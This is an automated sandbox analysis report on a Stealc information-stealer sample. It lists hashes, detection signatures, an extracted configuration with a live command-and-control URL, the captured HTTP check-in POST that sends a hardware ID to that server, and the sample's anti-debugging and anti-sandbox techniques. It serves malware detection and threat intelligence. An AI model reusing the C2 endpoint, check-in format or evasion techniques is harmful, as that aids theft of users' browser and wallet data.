Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1528224
MD5:	c1a82a310c9dc31947dfae1e6136dc46
SHA1:	a9868cf5ede614df7911b1e62b5d20a04fc4c259
SHA256:	35ce1834e64cfffdd4729c0254790e7aca014b3013733ccf872907d8d04e2b2b
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 6636 cmdline: "C:\Users\user\Desktop\file.exe" MD5: C1A82A310C9DC31947DFAE1E6136DC46)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1876333554.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1831952446.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6636	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6636	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.610000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T17:08:19.270990+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.610000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0061C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00617240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00617240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00619AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00619AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00619B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00619B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00628EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00628EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006238B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_006238B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00624910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00624910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0061DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0061E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00624570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00624570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0061ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0061BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0061DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006116D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_006116D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00623EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00623EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0061F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0061F6B0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 34 33 36 39 44 30 35 37 38 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="hwid"94369D0578E64120021454------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="build"doma------AAEGHJKJKKJDHIDHJKJD--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00614880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00614880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEGHJKJKKJDHIDHJKJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 34 33 36 39 44 30 35 37 38 45 36 34 31 32 30 30 32 31 34 35 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 47 48 4a 4b 4a 4b 4b 4a 44 48 49 44 48 4a 4b 4a 44 2d 2d 0d 0a Data Ascii: ------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="hwid"94369D0578E64120021454------AAEGHJKJKKJDHIDHJKJDContent-Disposition: form-data; name="build"doma------AAEGHJKJKKJDHIDHJKJD--

Source: file.exe, 00000000.00000002.1876333554.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1876333554.0000000001157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1876333554.0000000001157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/9
Source: file.exe, 00000000.00000002.1876333554.0000000001157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/U
Source: file.exe, 00000000.00000002.1876333554.0000000001157000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1876333554.0000000001145000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1876333554.0000000001166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1876333554.0000000001145000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpJD
Source: file.exe, 00000000.00000002.1876333554.0000000001157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpObL

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092	0_2_009CD092
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0091014B	0_2_0091014B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009C0A82	0_2_009C0A82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009BDAAB	0_2_009BDAAB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009C9A3A	0_2_009C9A3A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008EF31C	0_2_008EF31C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CEB0F	0_2_009CEB0F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008A6328	0_2_008A6328
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D04B4	0_2_009D04B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D55C3	0_2_009D55C3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CB578	0_2_009CB578
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0094DEB8	0_2_0094DEB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008F0FEF	0_2_008F0FEF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009D1F2E	0_2_009D1F2E

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 006145C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xchtnbzm ZLIB complexity 0.9942755126953124

Source: file.exe, 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1831952446.0000000004E90000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00629600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00629600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00623720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00623720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\NZUVIS6P.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1794560 > 1048576

Source: file.exe

Static PE information: Raw size of xchtnbzm is bigger than: 0x100000 < 0x190000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.610000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xchtnbzm:EW;hubelpjq:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xchtnbzm:EW;hubelpjq:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00629860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00629860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c534f should be: 0x1c0df6

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xchtnbzm
Source: file.exe	Static PE information: section name: hubelpjq
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A438A4 push 4CB5EC42h; mov dword ptr [esp], edx	0_2_00A438CD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A438A4 push ecx; mov dword ptr [esp], 653A3DE7h	0_2_00A4390A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 6C494A40h; mov dword ptr [esp], esi	0_2_009CD0B8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 338725C1h; mov dword ptr [esp], edi	0_2_009CD104
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push esi; mov dword ptr [esp], edx	0_2_009CD20F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push edx; mov dword ptr [esp], esi	0_2_009CD30E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 1B9FFBA0h; mov dword ptr [esp], ebx	0_2_009CD384
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push ecx; mov dword ptr [esp], 575939B2h	0_2_009CD3D7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 5C4623AFh; mov dword ptr [esp], ecx	0_2_009CD3E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 1DB89F38h; mov dword ptr [esp], ebp	0_2_009CD421
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push esi; mov dword ptr [esp], edx	0_2_009CD483
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 0EB02C0Ch; mov dword ptr [esp], esi	0_2_009CD501
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 1A28D500h; mov dword ptr [esp], eax	0_2_009CD536
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push edx; mov dword ptr [esp], edi	0_2_009CD565
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push edx; mov dword ptr [esp], esi	0_2_009CD5A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push esi; mov dword ptr [esp], edx	0_2_009CD606
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 304017E2h; mov dword ptr [esp], eax	0_2_009CD647
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 0438F027h; mov dword ptr [esp], esi	0_2_009CD698
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 4D5DAF59h; mov dword ptr [esp], eax	0_2_009CD7EB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push edx; mov dword ptr [esp], ecx	0_2_009CD80D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push ebp; mov dword ptr [esp], eax	0_2_009CD81D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push esi; mov dword ptr [esp], 7B39D1FCh	0_2_009CD88E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push edi; mov dword ptr [esp], 0B01D83Ah	0_2_009CD964
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 539A6890h; mov dword ptr [esp], ebp	0_2_009CD97B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 2A61F6ECh; mov dword ptr [esp], ecx	0_2_009CD99F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 18ED2921h; mov dword ptr [esp], ecx	0_2_009CD9F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push ebp; mov dword ptr [esp], 1D705A70h	0_2_009CDA5D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 0791D95Fh; mov dword ptr [esp], edx	0_2_009CDBB8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 79586527h; mov dword ptr [esp], edi	0_2_009CDBD1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push esi; mov dword ptr [esp], ebx	0_2_009CDC68
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009CD092 push 22441FF3h; mov dword ptr [esp], edi	0_2_009CDC8C

Source: file.exe

Static PE information: section name: xchtnbzm entropy: 7.9517025024735215

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00629860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13211

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC986 second address: 9DC98E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE5EC second address: 9CE5F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE5F0 second address: 9CE5FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE5FB second address: 9CE602 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB9D8 second address: 9DB9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBCAB second address: 9DBCB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DBF64 second address: 9DBF6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC2A7 second address: 9DC2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F0C44D4E186h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DC2B2 second address: 9DC2DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F0C44E7DD66h 0x00000009 jmp 00007F0C44E7DD78h 0x0000000e jnl 00007F0C44E7DD66h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
